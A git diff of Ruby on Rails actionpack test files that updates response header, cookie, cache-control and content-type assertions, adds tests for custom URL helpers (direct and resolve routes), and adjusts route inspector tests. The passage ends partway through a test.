       @response.set_header "Content-Length", "0"
       _, headers, _ = @response.to_a
-      assert !headers.has_key?("Content-Length"), "#{c} must not have a Content-Length header field"
+      assert_not headers.has_key?("Content-Length"), "#{c} must not have a Content-Length header field"
     end
   end
 
   test "does not contain a message-body" do
-    [100, 101, 102, 204, 304].each do |c|
+    [100, 101, 102, 103, 204, 304].each do |c|
       @response = ActionDispatch::Response.new
       @response.status = c.to_s
       @response.body = "Body must not be included"
@@ -175,7 +181,7 @@ def test_only_set_charset_still_defaults_to_text_html
       @response = ActionDispatch::Response.new
       @response.status = c.to_s
       _, headers, _ = @response.to_a
-      assert !headers.has_key?("Content-Type"), "#{c} should not have Content-Type header"
+      assert_not headers.has_key?("Content-Type"), "#{c} should not have Content-Type header"
     end
 
     [200, 302, 404, 500].each do |c|
@@ -189,7 +195,7 @@ def test_only_set_charset_still_defaults_to_text_html
   test "does not include Status header" do
     @response.status = "200 OK"
     _, headers, _ = @response.to_a
-    assert !headers.has_key?("Status")
+    assert_not headers.has_key?("Status")
   end
 
   test "response code" do
@@ -225,10 +231,12 @@ def test_only_set_charset_still_defaults_to_text_html
     assert_equal "OK", @response.message
   end
 
+  include CookieAssertions
+
   test "cookies" do
     @response.set_cookie("user_name", value: "david", path: "/")
     _status, headers, _body = @response.to_a
-    assert_equal "user_name=david; path=/", headers["Set-Cookie"]
+    assert_set_cookie_header "user_name=david; path=/", headers["Set-Cookie"]
     assert_equal({ "user_name" => "david" }, @response.cookies)
   end
 
@@ -236,7 +244,7 @@ def test_only_set_charset_still_defaults_to_text_html
     @response.set_cookie("user_name", value: "david", path: "/")
     @response.set_cookie("login", value: "foo&bar", path: "/", expires: Time.utc(2005, 10, 10, 5))
     _status, headers, _body = @response.to_a
-    assert_equal "user_name=david; path=/\nlogin=foo%26bar; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000", headers["Set-Cookie"]
+    assert_set_cookie_header "user_name=david; path=/\nlogin=foo%26bar; path=/; expires=Mon, 10 Oct 2005 05:00:00 GMT", headers["Set-Cookie"]
     assert_equal({ "login" => "foo&bar", "user_name" => "david" }, @response.cookies)
   end
 
@@ -255,9 +263,9 @@ def test_only_set_charset_still_defaults_to_text_html
     }
     resp.to_a
 
-    assert resp.etag?
-    assert resp.weak_etag?
-    assert_not resp.strong_etag?
+    assert_predicate resp, :etag?
+    assert_predicate resp, :weak_etag?
+    assert_not_predicate resp, :strong_etag?
     assert_equal('W/"202cb962ac59075b964b07152d234b70"', resp.etag)
     assert_equal({ public: true }, resp.cache_control)
 
@@ -273,9 +281,9 @@ def test_only_set_charset_still_defaults_to_text_html
     }
     resp.to_a
 
-    assert resp.etag?
-    assert_not resp.weak_etag?
-    assert resp.strong_etag?
+    assert_predicate resp, :etag?
+    assert_not_predicate resp, :weak_etag?
+    assert_predicate resp, :strong_etag?
     assert_equal('"202cb962ac59075b964b07152d234b70"', resp.etag)
   end
 
@@ -288,19 +296,36 @@ def test_only_set_charset_still_defaults_to_text_html
     resp.to_a
 
     assert_equal("utf-16", resp.charset)
-    assert_equal(Mime[:xml], resp.content_type)
-
+    assert_equal(Mime[:xml], resp.media_type)
+    assert_equal("application/xml; charset=utf-16", resp.content_type)
     assert_equal("application/xml; charset=utf-16", resp.headers["Content-Type"])
   end
 
+  test "respect no-store cache-control" do
+    resp = ActionDispatch::Response.new.tap { |response|
+      response.cache_control[:public] = true
+      response.cache_control[:no_store] = true
+      response.body = "Hello"
+    }
+    resp.to_a
+
+    assert_equal("no-store", resp.headers["Cache-Control"])
+  end
+
+  test "respect private, no-store cache-control" do
+    resp = ActionDispatch::Response.new.tap { |response|
+      response.cache_control[:private] = true
+      response.cache_control[:no_store] = true
+      response.body = "Hello"
+    }
+    resp.to_a
+
+    assert_equal("private, no-store", resp.headers["Cache-Control"])
+  end
+
   test "read content type with default charset utf-8" do
-    original = ActionDispatch::Response.default_charset
-    begin
-      resp = ActionDispatch::Response.new(200, "Content-Type" => "text/xml")
-      assert_equal("utf-8", resp.charset)
-    ensure
-      ActionDispatch::Response.default_charset = original
-    end
+    resp = ActionDispatch::Response.new(200, "Content-Type" => "text/xml")
+    assert_equal("utf-8", resp.charset)
   end
 
   test "read content type with charset utf-16" do
@@ -314,13 +339,15 @@ def test_only_set_charset_still_defaults_to_text_html
     end
   end
 
-  test "read x_frame_options, x_content_type_options and x_xss_protection" do
+  test "read x_frame_options, x_content_type_options, x_xss_protection, x_permitted_cross_domain_policies and referrer_policy" do
     original_default_headers = ActionDispatch::Response.default_headers
     begin
       ActionDispatch::Response.default_headers = {
         "X-Frame-Options" => "DENY",
         "X-Content-Type-Options" => "nosniff",
-        "X-XSS-Protection" => "1;"
+        "X-XSS-Protection" => "0",
+        "X-Permitted-Cross-Domain-Policies" => "none",
+        "Referrer-Policy" => "strict-origin-when-cross-origin"
       }
       resp = ActionDispatch::Response.create.tap { |response|
         response.body = "Hello"
@@ -329,7 +356,9 @@ def test_only_set_charset_still_defaults_to_text_html
 
       assert_equal("DENY", resp.headers["X-Frame-Options"])
       assert_equal("nosniff", resp.headers["X-Content-Type-Options"])
-      assert_equal("1;", resp.headers["X-XSS-Protection"])
+      assert_equal("0", resp.headers["X-XSS-Protection"])
+      assert_equal("none", resp.headers["X-Permitted-Cross-Domain-Policies"])
+      assert_equal("strict-origin-when-cross-origin", resp.headers["Referrer-Policy"])
     ensure
       ActionDispatch::Response.default_headers = original_default_headers
     end
@@ -353,26 +382,28 @@ def test_only_set_charset_still_defaults_to_text_html
   end
 
   test "respond_to? accepts include_private" do
-    assert_not @response.respond_to?(:method_missing)
+    assert_not_respond_to @response, :method_missing
     assert @response.respond_to?(:method_missing, true)
   end
 
+  include HeadersAssertions
+
   test "can be explicitly destructured into status, headers and an enumerable body" do
     response = ActionDispatch::Response.new(404, { "Content-Type" => "text/plain" }, ["Not Found"])
     response.request = ActionDispatch::Request.empty
     status, headers, body = *response
 
     assert_equal 404, status
-    assert_equal({ "Content-Type" => "text/plain" }, headers)
+    assert_headers({ "content-type" => "text/plain" }, headers)
     assert_equal ["Not Found"], body.each.to_a
   end
 
   test "[response.to_a].flatten does not recurse infinitely" do
     Timeout.timeout(1) do # use a timeout to prevent it stalling indefinitely
       status, headers, body = [@response.to_a].flatten
-      assert_equal @response.status, status
-      assert_equal @response.headers, headers
-      assert_equal @response.body, body.each.to_a.join
+      assert_equal 200, status
+      assert_equal headers, @response.headers
+      assert_nil body
     end
   end
 
@@ -381,11 +412,11 @@ def test_only_set_charset_still_defaults_to_text_html
     app = lambda { |env| @response.to_a }
     env = Rack::MockRequest.env_for("/")
 
-    status, headers, body = app.call(env)
-    assert_nil headers["Content-Length"]
+    _status, headers, _body = app.call(env)
+    assert_not_header "content-length", headers
 
-    status, headers, body = Rack::ContentLength.new(app).call(env)
-    assert_equal "5", headers["Content-Length"]
+    _status, headers, _body = Rack::ContentLength.new(app).call(env)
+    assert_header "content-length", "5", headers
   end
 end
 
@@ -397,14 +428,12 @@ def setup
 
   test "has_header?" do
     assert @response.has_header? "Foo"
-    assert_not @response.has_header? "foo"
-    assert_not @response.has_header? nil
+    assert @response.has_header? "foo"
   end
 
   test "get_header" do
     assert_equal "1", @response.get_header("Foo")
-    assert_nil @response.get_header("foo")
-    assert_nil @response.get_header(nil)
+    assert_equal "1", @response.get_header("foo")
   end
 
   test "set_header" do
@@ -418,23 +447,20 @@ def setup
   end
 
   test "delete_header" do
-    assert_nil @response.delete_header(nil)
-
-    assert_nil @response.delete_header("foo")
-    assert @response.has_header?("Foo")
-
     assert_equal "1", @response.delete_header("Foo")
     assert_not @response.has_header?("Foo")
   end
 
+  include HeadersAssertions
+
   test "add_header" do
     # Add a value to an existing header
-    assert_equal "1,2", @response.add_header("Foo", "2")
-    assert_equal "1,2", @response.get_header("Foo")
+    assert_header_value "1,2", @response.add_header("Foo", "2")
+    assert_header_value "1,2", @response.get_header("Foo")
 
     # Add nil to an existing header
-    assert_equal "1,2", @response.add_header("Foo", nil)
-    assert_equal "1,2", @response.get_header("Foo")
+    assert_header_value "1,2", @response.add_header("Foo", nil)
+    assert_header_value "1,2", @response.get_header("Foo")
 
     # Add nil to a nonexistent header
     assert_nil @response.add_header("Bar", nil)
@@ -442,9 +468,9 @@ def setup
     assert_nil @response.get_header("Bar")
 
     # Add a value to a nonexistent header
-    assert_equal "1", @response.add_header("Bar", "1")
+    assert_header_value "1", @response.add_header("Bar", "1")
     assert @response.has_header?("Bar")
-    assert_equal "1", @response.get_header("Bar")
+    assert_header_value "1", @response.get_header("Bar")
   end
 end
 
@@ -500,8 +526,8 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest
     assert_response :success
 
     assert_equal("utf-16", @response.charset)
-    assert_equal(Mime[:xml], @response.content_type)
-
+    assert_equal(Mime[:xml], @response.media_type)
+    assert_equal("application/xml; charset=utf-16", @response.content_type)
     assert_equal("application/xml; charset=utf-16", @response.headers["Content-Type"])
   end
 
@@ -516,8 +542,8 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest
     assert_response :success
 
     assert_equal("utf-16", @response.charset)
-    assert_equal(Mime[:xml], @response.content_type)
-
+    assert_equal(Mime[:xml], @response.media_type)
+    assert_equal("application/xml; charset=utf-16", @response.content_type)
     assert_equal("application/xml; charset=utf-16", @response.headers["Content-Type"])
   end
 
@@ -536,4 +562,107 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest
     assert_equal('"202cb962ac59075b964b07152d234b70"', @response.headers["ETag"])
     assert_equal('"202cb962ac59075b964b07152d234b70"', @response.etag)
   end
+
+  test "response Content-Type with optional parameters" do
+    @app = lambda { |env|
+      [
+        200,
+        { "Content-Type" => "text/csv; charset=utf-16; header=present" },
+        ["Hello"]
+      ]
+    }
+
+    get "/"
+    assert_response :success
+
+    assert_equal("text/csv; charset=utf-16; header=present", @response.headers["Content-Type"])
+    assert_equal("text/csv; charset=utf-16; header=present", @response.content_type)
+    assert_equal("text/csv", @response.media_type)
+    assert_equal("utf-16", @response.charset)
+  end
+
+  test "response Content-Type with optional parameters that set before charset" do
+    @app = lambda { |env|
+      [
+        200,
+        { "Content-Type" => "text/csv; header=present; charset=utf-16" },
+        ["Hello"]
+      ]
+    }
+
+    get "/"
+    assert_response :success
+
+    assert_equal("text/csv; header=present; charset=utf-16", @response.headers["Content-Type"])
+    assert_equal("text/csv; header=present; charset=utf-16", @response.content_type)
+    assert_equal("text/csv; header=present", @response.media_type)
+    assert_equal("utf-16", @response.charset)
+  end
+
+  test "response Content-Type with quoted-string" do
+    @app = lambda { |env|
+      [
+        200,
+        { "Content-Type" => 'text/csv; header=present; charset="utf-16"' },
+        ["Hello"]
+      ]
+    }
+
+    get "/"
+    assert_response :success
+
+    assert_equal('text/csv; header=present; charset="utf-16"', @response.headers["Content-Type"])
+    assert_equal('text/csv; header=present; charset="utf-16"', @response.content_type)
+    assert_equal("text/csv; header=present", @response.media_type)
+    assert_equal("utf-16", @response.charset)
+  end
+
+  test "response body with enumerator" do
+    @app = lambda { |env|
+      [
+        200,
+        { "Content-Type" => "text/plain" },
+        Enumerator.new { |enumerator| 10.times { |n| enumerator << n.to_s } }
+      ]
+    }
+    get "/"
+    assert_response :success
+
+    assert_equal("text/plain", @response.headers["Content-Type"])
+    assert_equal("text/plain", @response.content_type)
+    assert_equal("text/plain", @response.media_type)
+    assert_equal("utf-8", @response.charset)
+    assert_equal("0123456789", @response.body)
+  end
+
+  test "response body with lazy enumerator" do
+    @app = lambda { |env|
+      [
+        200,
+        { "Content-Type" => "text/plain" },
+        (0..10).lazy
+      ]
+    }
+    get "/"
+    assert_response :success
+
+    assert_equal("text/plain", @response.headers["Content-Type"])
+    assert_equal("text/plain", @response.content_type)
+    assert_equal("text/plain", @response.media_type)
+    assert_equal("utf-8", @response.charset)
+    assert_equal("012345678910", @response.body)
+  end
+
+  test "response does not buffer enumerator body" do
+    # This is an enumerable body, and it should not be buffered:
+    body = Enumerator.new do |enumerator|
+      enumerator << "Hello World"
+    end
+
+    # The response created here should not attempt to buffer the body:
+    response = ActionDispatch::Response.new(200, { "content-type" => "text/plain" }, body)
+
+    # The body should be the same enumerator object, i.e. it should be passed through unchanged:
+    assert_equal body, response.body
+  end
 end
diff --git a/actionpack/test/dispatch/routing/concerns_test.rb b/actionpack/test/dispatch/routing/concerns_test.rb
index 2d71c375629a7..3c80772f9faf2 100644
--- a/actionpack/test/dispatch/routing/concerns_test.rb
+++ b/actionpack/test/dispatch/routing/concerns_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ReviewsController < ResourcesController; end
@@ -5,14 +7,14 @@ class ReviewsController < ResourcesController; end
 class RoutingConcernsTest < ActionDispatch::IntegrationTest
   class Reviewable
     def self.call(mapper, options = {})
-      mapper.resources :reviews, options
+      mapper.resources :reviews, **options
     end
   end
 
   Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
     app.draw do
       concern :commentable do |options|
-        resources :comments, options
+        resources :comments, **options
       end
 
       concern :image_attachable do
@@ -109,14 +111,4 @@ def test_with_an_invalid_concern_name
 
     assert_equal "No concern named foo was found!", e.message
   end
-
-  def test_concerns_executes_block_in_context_of_current_mapper
-    mapper = ActionDispatch::Routing::Mapper.new(ActionDispatch::Routing::RouteSet.new)
-    mapper.concern :test_concern do
-      resources :things
-      return self
-    end
-
-    assert_equal mapper, mapper.concerns(:test_concern)
-  end
 end
diff --git a/actionpack/test/dispatch/routing/custom_url_helpers_test.rb b/actionpack/test/dispatch/routing/custom_url_helpers_test.rb
new file mode 100644
index 0000000000000..22c6a4c62b416
--- /dev/null
+++ b/actionpack/test/dispatch/routing/custom_url_helpers_test.rb
@@ -0,0 +1,344 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TestCustomUrlHelpers < ActionDispatch::IntegrationTest
+  class Linkable
+    attr_reader :id
+
+    def self.name
+      super.demodulize
+    end
+
+    def initialize(id)
+      @id = id
+    end
+
+    def linkable_type
+      self.class.name.underscore
+    end
+  end
+
+  class Category < Linkable; end
+  class Collection < Linkable; end
+  class Product < Linkable; end
+  class Manufacturer < Linkable; end
+
+  class Model
+    extend ActiveModel::Naming
+    include ActiveModel::Conversion
+
+    attr_reader :id
+
+    def initialize(id = nil)
+      @id = id
+    end
+
+    remove_method :model_name
+    def model_name
+      @_model_name ||= ActiveModel::Name.new(self.class, nil, self.class.name.demodulize)
+    end
+
+    def persisted?
+      false
+    end
+  end
+
+  class Basket < Model; end
+  class User < Model; end
+  class Video < Model; end
+
+  class Article
+    attr_reader :id
+
+    def self.name
+      "Article"
+    end
+
+    def initialize(id)
+      @id = id
+    end
+  end
+
+  class Page
+    attr_reader :id
+
+    def self.name
+      super.demodulize
+    end
+
+    def initialize(id)
+      @id = id
+    end
+  end
+
+  class CategoryPage < Page; end
+  class ProductPage < Page; end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    default_url_options host: "www.example.com"
+
+    root to: "pages#index"
+    get "/basket", to: "basket#show", as: :basket
+    get "/posts/:id", to: "posts#show", as: :post
+    get "/profile", to: "users#profile", as: :profile
+    get "/media/:id", to: "media#show", as: :media
+    get "/pages/:id", to: "pages#show", as: :page
+
+    resources :categories, :collections, :products, :manufacturers
+
+    namespace :admin do
+      get "/dashboard", to: "dashboard#index"
+    end
+
+    direct(:website)  { "http://www.rubyonrails.org" }
+    direct("string")  { "http://www.rubyonrails.org" }
+    direct(:helper)   { basket_url }
+    direct(:linkable) { |linkable| [:"#{linkable.linkable_type}", { id: linkable.id }] }
+    direct(:nested)   { |linkable| route_for(:linkable, linkable) }
+    direct(:params)   { |params| params }
+    direct(:symbol)   { :basket }
+    direct(:hash)     { { controller: "basket", action: "show" } }
+    direct(:array)    { [:admin, :dashboard] }
+    direct(:options)  { |options| [:products, options] }
+    direct(:defaults, size: 10) { |options| [:products, options] }
+
+    direct(:browse, page: 1, size: 10) do |options|
+      [:products, options.merge(params.permit(:page, :size).to_h.symbolize_keys)]
+    end
+
+    resolve("Article") { |article| [:post, { id: article.id }] }
+    resolve("Basket") { |basket| [:basket] }
+    resolve("Manufacturer") { |manufacturer| route_for(:linkable, manufacturer) }
+    resolve("User", anchor: "details") { |user, options| [:profile, options] }
+    resolve("Video") { |video| [:media, { id: video.id }] }
+    resolve(%w[Page CategoryPage ProductPage]) { |page| [:page, { id: page.id }] }
+  end
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def setup
+    @category = Category.new("1")
+    @collection = Collection.new("2")
+    @product = Product.new("3")
+    @manufacturer = Manufacturer.new("apple")
+    @basket = Basket.new
+    @user = User.new
+    @video = Video.new("4")
+    @article = Article.new("5")
+    @page = Page.new("6")
+    @category_page = CategoryPage.new("7")
+    @product_page = ProductPage.new("8")
+    @path_params = { "controller" => "pages", "action" => "index" }
+    @unsafe_params = ActionController::Parameters.new(@path_params)
+    @safe_params = ActionController::Parameters.new(@path_params).permit(:controller, :action)
+  end
+
+  def params
+    ActionController::Parameters.new(page: 2, size: 25)
+  end
+
+  def test_direct_paths
+    assert_equal "/", website_path
+    assert_equal "/", Routes.url_helpers.website_path
+
+    assert_equal "/", string_path
+    assert_equal "/", Routes.url_helpers.string_path
+
+    assert_equal "/basket", helper_path
+    assert_equal "/basket", Routes.url_helpers.helper_path
+
+    assert_equal "/categories/1", linkable_path(@category)
+    assert_equal "/categories/1", Routes.url_helpers.linkable_path(@category)
+    assert_equal "/collections/2", linkable_path(@collection)
+    assert_equal "/collections/2", Routes.url_helpers.linkable_path(@collection)
+    assert_equal "/products/3", linkable_path(@product)
+    assert_equal "/products/3", Routes.url_helpers.linkable_path(@product)
+
+    assert_equal "/categories/1", nested_path(@category)
+    assert_equal "/categories/1", Routes.url_helpers.nested_path(@category)
+
+    assert_equal "/", params_path(@safe_params)
+    assert_equal "/", Routes.url_helpers.params_path(@safe_params)
+    assert_raises(ActionController::UnfilteredParameters) { params_path(@unsafe_params) }
+    assert_raises(ActionController::UnfilteredParameters) { Routes.url_helpers.params_path(@unsafe_params) }
+
+    assert_equal "/basket", symbol_path
+    assert_equal "/basket", Routes.url_helpers.symbol_path
+    assert_equal "/basket", hash_path
+    assert_equal "/basket", Routes.url_helpers.hash_path
+    assert_equal "/admin/dashboard", array_path
+    assert_equal "/admin/dashboard", Routes.url_helpers.array_path
+
+    assert_equal "/products?page=2", options_path(page: 2)
+    assert_equal "/products?page=2", Routes.url_helpers.options_path(page: 2)
+    assert_equal "/products?size=10", defaults_path
+    assert_equal "/products?size=10", Routes.url_helpers.defaults_path
+    assert_equal "/products?size=20", defaults_path(size: 20)
+    assert_equal "/products?size=20", Routes.url_helpers.defaults_path(size: 20)
+
+    assert_equal "/products?page=2&size=25", browse_path
+    assert_raises(NameError) { Routes.url_helpers.browse_path }
+  end
+
+  def test_direct_urls
+    assert_equal "http://www.rubyonrails.org", website_url
+    assert_equal "http://www.rubyonrails.org", Routes.url_helpers.website_url
+
+    assert_equal "http://www.rubyonrails.org", string_url
+    assert_equal "http://www.rubyonrails.org", Routes.url_helpers.string_url
+
+    assert_equal "http://www.example.com/basket", helper_url
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.helper_url
+
+    assert_equal "http://www.example.com/categories/1", linkable_url(@category)
+    assert_equal "http://www.example.com/categories/1", Routes.url_helpers.linkable_url(@category)
+    assert_equal "http://www.example.com/collections/2", linkable_url(@collection)
+    assert_equal "http://www.example.com/collections/2", Routes.url_helpers.linkable_url(@collection)
+    assert_equal "http://www.example.com/products/3", linkable_url(@product)
+    assert_equal "http://www.example.com/products/3", Routes.url_helpers.linkable_url(@product)
+
+    assert_equal "http://www.example.com/categories/1", nested_url(@category)
+    assert_equal "http://www.example.com/categories/1", Routes.url_helpers.nested_url(@category)
+
+    assert_equal "http://www.example.com/", params_url(@safe_params)
+    assert_equal "http://www.example.com/", Routes.url_helpers.params_url(@safe_params)
+    assert_raises(ActionController::UnfilteredParameters) { params_url(@unsafe_params) }
+    assert_raises(ActionController::UnfilteredParameters) { Routes.url_helpers.params_url(@unsafe_params) }
+
+    assert_equal "http://www.example.com/basket", symbol_url
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.symbol_url
+    assert_equal "http://www.example.com/basket", hash_url
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.hash_url
+    assert_equal "http://www.example.com/admin/dashboard", array_url
+    assert_equal "http://www.example.com/admin/dashboard", Routes.url_helpers.array_url
+
+    assert_equal "http://www.example.com/products?page=2", options_url(page: 2)
+    assert_equal "http://www.example.com/products?page=2", Routes.url_helpers.options_url(page: 2)
+    assert_equal "http://www.example.com/products?size=10", defaults_url
+    assert_equal "http://www.example.com/products?size=10", Routes.url_helpers.defaults_url
+    assert_equal "http://www.example.com/products?size=20", defaults_url(size: 20)
+    assert_equal "http://www.example.com/products?size=20", Routes.url_helpers.defaults_url(size: 20)
+
+    assert_equal "http://www.example.com/products?page=2&size=25", browse_url
+    assert_raises(NameError) { Routes.url_helpers.browse_url }
+  end
+
+  def test_resolve_paths
+    assert_equal "/basket", polymorphic_path(@basket)
+    assert_equal "/basket", Routes.url_helpers.polymorphic_path(@basket)
+
+    assert_equal "/profile#details", polymorphic_path(@user)
+    assert_equal "/profile#details", Routes.url_helpers.polymorphic_path(@user)
+
+    assert_equal "/profile#password", polymorphic_path(@user, anchor: "password")
+    assert_equal "/profile#password", Routes.url_helpers.polymorphic_path(@user, anchor: "password")
+
+    assert_equal "/media/4", polymorphic_path(@video)
+    assert_equal "/media/4", Routes.url_helpers.polymorphic_path(@video)
+    assert_equal "/media/4", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @video)
+
+    assert_equal "/posts/5", polymorphic_path(@article)
+    assert_equal "/posts/5", Routes.url_helpers.polymorphic_path(@article)
+    assert_equal "/posts/5", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @article)
+
+    assert_equal "/pages/6", polymorphic_path(@page)
+    assert_equal "/pages/6", Routes.url_helpers.polymorphic_path(@page)
+    assert_equal "/pages/6", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @page)
+
+    assert_equal "/pages/7", polymorphic_path(@category_page)
+    assert_equal "/pages/7", Routes.url_helpers.polymorphic_path(@category_page)
+    assert_equal "/pages/7", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @category_page)
+
+    assert_equal "/pages/8", polymorphic_path(@product_page)
+    assert_equal "/pages/8", Routes.url_helpers.polymorphic_path(@product_page)
+    assert_equal "/pages/8", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.path.handle_model_call(self, @product_page)
+
+    assert_equal "/manufacturers/apple", polymorphic_path(@manufacturer)
+    assert_equal "/manufacturers/apple", Routes.url_helpers.polymorphic_path(@manufacturer)
+  end
+
+  def test_resolve_urls
+    assert_equal "http://www.example.com/basket", polymorphic_url(@basket)
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.polymorphic_url(@basket)
+    assert_equal "http://www.example.com/basket", polymorphic_url(@basket)
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.polymorphic_url(@basket)
+
+    assert_equal "http://www.example.com/profile#details", polymorphic_url(@user)
+    assert_equal "http://www.example.com/profile#details", Routes.url_helpers.polymorphic_url(@user)
+
+    assert_equal "http://www.example.com/profile#password", polymorphic_url(@user, anchor: "password")
+    assert_equal "http://www.example.com/profile#password", Routes.url_helpers.polymorphic_url(@user, anchor: "password")
+
+    assert_equal "http://www.example.com/media/4", polymorphic_url(@video)
+    assert_equal "http://www.example.com/media/4", Routes.url_helpers.polymorphic_url(@video)
+    assert_equal "http://www.example.com/media/4", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @video)
+
+    assert_equal "http://www.example.com/posts/5", polymorphic_url(@article)
+    assert_equal "http://www.example.com/posts/5", Routes.url_helpers.polymorphic_url(@article)
+    assert_equal "http://www.example.com/posts/5", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @article)
+
+    assert_equal "http://www.example.com/pages/6", polymorphic_url(@page)
+    assert_equal "http://www.example.com/pages/6", Routes.url_helpers.polymorphic_url(@page)
+    assert_equal "http://www.example.com/pages/6", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @page)
+
+    assert_equal "http://www.example.com/pages/7", polymorphic_url(@category_page)
+    assert_equal "http://www.example.com/pages/7", Routes.url_helpers.polymorphic_url(@category_page)
+    assert_equal "http://www.example.com/pages/7", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @category_page)
+
+    assert_equal "http://www.example.com/pages/8", polymorphic_url(@product_page)
+    assert_equal "http://www.example.com/pages/8", Routes.url_helpers.polymorphic_url(@product_page)
+    assert_equal "http://www.example.com/pages/8", ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.url.handle_model_call(self, @product_page)
+
+    assert_equal "http://www.example.com/manufacturers/apple", polymorphic_url(@manufacturer)
+    assert_equal "http://www.example.com/manufacturers/apple", Routes.url_helpers.polymorphic_url(@manufacturer)
+  end
+
+  def test_url_helpers_module_can_be_included_directly_in_an_active_support_concern
+    concern = Module.new do
+      extend ActiveSupport::Concern
+      include Routes.url_helpers
+    end
+
+    concerned = Class.new { include concern }.new
+
+    assert_equal "http://www.example.com/", concerned.root_url
+  end
+
+  def test_defining_direct_inside_a_scope_raises_runtime_error
+    routes = ActionDispatch::Routing::RouteSet.new
+
+    assert_raises RuntimeError do
+      routes.draw do
+        namespace :admin do
+          direct(:rubyonrails) { "http://www.rubyonrails.org" }
+        end
+      end
+    end
+  end
+
+  def test_defining_resolve_inside_a_scope_raises_runtime_error
+    routes = ActionDispatch::Routing::RouteSet.new
+
+    assert_raises RuntimeError do
+      routes.draw do
+        namespace :admin do
+          resolve("User") { "/profile" }
+        end
+      end
+    end
+  end
+
+  def test_defining_direct_url_registers_helper_method
+    assert_equal "http://www.example.com/basket", Routes.url_helpers.symbol_url
+    assert_equal true, Routes.named_routes.route_defined?(:symbol_url), "'symbol_url' named helper not found"
+    assert_equal true, Routes.named_routes.route_defined?(:symbol_path), "'symbol_path' named helper not found"
+  end
+end
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
index a4babf85546da..e1f16b1926d0e 100644
--- a/actionpack/test/dispatch/routing/inspector_test.rb
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/engine"
 require "action_dispatch/routing/inspector"
+require "io/console/size"
 
 class MountedRackApp
   def self.call(env)
@@ -10,19 +13,30 @@ def self.call(env)
 class Rails::DummyController
 end
 
+module InspectorTestApp
+  class PostsController < ActionController::Base
+    def index
+    end
+
+    def show
+    end
+  end
+
+  module Admin
+    class UsersController < ActionController::Base
+      def index
+      end
+    end
+  end
+end
+
 module ActionDispatch
   module Routing
     class RoutesInspectorTest < ActiveSupport::TestCase
-      def setup
+      setup do
         @set = ActionDispatch::Routing::RouteSet.new
       end
 
-      def draw(options = nil, &block)
-        @set.draw(&block)
-        inspector = ActionDispatch::Routing::RoutesInspector.new(@set.routes)
-        inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, options).split("\n")
-      end
-
       def test_displaying_routes_for_engines
         engine = Class.new(Rails::Engine) do
           def self.inspect
@@ -39,11 +53,13 @@ def self.inspect
         end
 
         assert_equal [
+          "Routes for application:",
           "       Prefix Verb URI Pattern              Controller#Action",
           "custom_assets GET  /custom/assets(.:format) custom_assets#show",
           "         blog      /blog                    Blog::Engine",
           "",
           "Routes for Blog::Engine:",
+          "Prefix Verb URI Pattern     Controller#Action",
           "  cart GET  /cart(.:format) cart#show"
         ], output
       end
@@ -62,10 +78,12 @@ def self.inspect
         end
 
         assert_equal [
+          "Routes for application:",
           "Prefix Verb URI Pattern Controller#Action",
           "  blog      /blog       Blog::Engine",
           "",
-          "Routes for Blog::Engine:"
+          "Routes for Blog::Engine:",
+          "No routes defined.",
         ], output
       end
 
@@ -133,7 +151,7 @@ def test_inspect_routes_shows_root_route
 
       def test_inspect_routes_shows_dynamic_action_route
         output = draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get "api/:action" => "api"
           end
         end
@@ -146,7 +164,7 @@ def test_inspect_routes_shows_dynamic_action_route
 
       def test_inspect_routes_shows_controller_and_action_only_route
         output = draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":controller/:action"
           end
         end
@@ -159,14 +177,14 @@ def test_inspect_routes_shows_controller_and_action_only_route
 
       def test_inspect_routes_shows_controller_and_action_route_with_constraints
         output = draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":controller(/:action(/:id))", id: /\d+/
           end
         end
 
         assert_equal [
           "Prefix Verb URI Pattern                            Controller#Action",
-          "       GET  /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
+          "       GET  /:controller(/:action(/:id))(.:format) :controller#:action #{{ id: /\d+/ }}"
         ], output
       end
 
@@ -177,7 +195,7 @@ def test_rails_routes_shows_route_with_defaults
 
         assert_equal [
           "Prefix Verb URI Pattern           Controller#Action",
-          '       GET  /photos/:id(.:format) photos#show {:format=>"jpg"}'
+          "       GET  /photos/:id(.:format) photos#show #{{ format: "jpg" }}"
         ], output
       end
 
@@ -188,7 +206,7 @@ def test_rails_routes_shows_route_with_constraints
 
         assert_equal [
           "Prefix Verb URI Pattern           Controller#Action",
